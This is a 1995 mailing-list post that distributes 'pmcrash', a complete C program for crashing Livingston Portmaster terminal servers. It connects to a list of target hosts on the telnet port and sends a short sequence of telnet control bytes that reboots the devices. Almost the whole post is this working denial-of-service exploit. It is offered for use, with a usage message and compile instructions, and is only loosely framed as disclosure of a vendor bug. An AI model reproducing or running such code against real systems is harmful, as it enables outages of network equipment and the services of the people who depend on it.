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Re: -rw-rw-rw- 1 root 8025 Aug 24 04:10 /tmp/.lsof_dev_cache
From: mp () rio atlantic net (Marty)
Date: Sun, 10 Sep 1995 14:58:00 -0400


Here is the promised script regarding the problems with Livingston Portmaster
Thanks to 'the doc' for this one. I believe livingston has a patch or or
will have one out shortly; in any case this script will/is being dist'b.

-mp () atlantic net

/* pmcrash - note this'll work much faster if all your arguments
             are IP addresses.. mainly because I didn't feel like
             coding a structure to keep track of all the resolved
             names.. so write a script to resolve your list of
             names first, then provide those as arguments */

/* This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 */

/* Compiling instructions:

   Linux:
     gcc -O2 -fomit-frame-pointer -s -o pmfinger pmfinger.c

   Solaris 2.4:
     cc -O -s -o pmfinger pmfinger.c -lsocket -lnsl -lresolv -lucb

*/

#include <sys/time.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <pwd.h>

#ifndef sys_errlist
extern char *sys_errlist[];
#endif

#ifndef errno
extern int errno;
#endif

#define TIMEOUT 4 /* 5 second timeout */

/* Inet sockets :-) */
int num=0;
int socks[250];

/* show sessions flag */
unsigned short int showflag=0;

char *
mystrerror(int err) {
  return(sys_errlist[err]);
}

void
exitprog(void) {
  while(num--) {
    shutdown(socks[num-1],0);
    close(socks[num-1]);
  }
  exit(0);
}

char *
mystrstr(char *str1,char *str2) {
   int xstr1len,ystr2len;

   xstr1len=strlen(str1);
   ystr2len=strlen(str2);

   while(xstr1len && strncmp(str1++,str2,ystr2len) && xstr1len-->=ystr2len);
   if(!xstr1len || xstr1len<ystr2len || !ystr2len) return(0);
   return(str1-1);
}

unsigned long int
resolver(host)
char *host;
{
  unsigned long int ip=0L;

  if(host && *host && (ip=inet_addr(host))==-1) {
    struct hostent *he;

    if(!(he=gethostbyname((char *)host)))
      ip=0L;
    else
      ip=*(unsigned long *)he->h_addr_list[0];
  }
  return(ip);
}

void
usage(void) {
  puts("pmcrash v0.3a - ComOS System Rebooter :-)\n"
       "Copyright (C) 1995 LAME Communications\n"
       "Written by Dr. Delete, Ph.D.\n\n"
       "Usage: pmcrash <portmaster>[:port] [<portmaster>[:port] ... ]\n");
  exit(0);
}

void
docalarm(void) {
}

void
main(int argc,char *argv[]) {
  unsigned short int port=0,x=1;
  struct sockaddr_in server;
  char crash[] = { 0xFF,0xF3,0xFF,0xF3,0xFF,0xF3,0xFF,0xF3,0xFF,0xF3 };
  char *temp;

  if(argc<2)
    usage();

  signal(SIGPIPE,(void (*)())exitprog);
  signal(SIGHUP,(void (*)())exitprog);
  signal(SIGINT,(void (*)())exitprog);
  signal(SIGTERM,(void (*)())exitprog);
  signal(SIGBUS,(void (*)())exitprog);
  signal(SIGABRT,(void (*)())exitprog);
  signal(SIGSEGV,(void (*)())exitprog);

  signal(SIGALRM,(void (*)())docalarm);

  server.sin_family=AF_INET;

  printf("\nConnecting..."); fflush(stdout);

  for(;x<argc;x++) {
    if((socks[num]=socket(AF_INET,SOCK_STREAM,0))==-1) {
      fprintf(stderr,"Unable to allocate AF_INET socket: %s\n",mystrerror(errno));
      exitprog();
    }
    setsockopt(socks[num],SOL_SOCKET,SO_LINGER,0,0);
    setsockopt(socks[num],SOL_SOCKET,SO_REUSEADDR,0,0);
    setsockopt(socks[num],SOL_SOCKET,SO_KEEPALIVE,0,0);
    if((temp=mystrstr(argv[x],":"))) {
      *temp++=(char)0;
      server.sin_port=htons((atoi(temp)));
    }
    else
      server.sin_port=htons(23);
    if(!(server.sin_addr.s_addr = resolver(argv[x]))) {
      fprintf(stderr,"Unable to resolve host '%s'.\n",argv[x]);
      close(socks[num]);
      continue;
    }
    alarm(TIMEOUT);
    if(connect(socks[num],(struct sockaddr *)&server,sizeof(struct sockaddr_in))) {
      alarm(0);
      printf("!"); fflush(stdout);
      /* fprintf(stderr,"Unable to connect to %s. (%s)\n",argv[x],mystrerror(errno)); */
      close(socks[num]);
      continue;
    }
    alarm(0);
    printf("."); fflush(stdout);
    num++;
  }

  printf("\nSweeping..."); fflush(stdout);

  for(x=0;x<num;x++) {
    write(socks[x],crash,10);
    printf("."); fflush(stdout);
  }
  puts("\n");
  sleep(4);
  exitprog();
}



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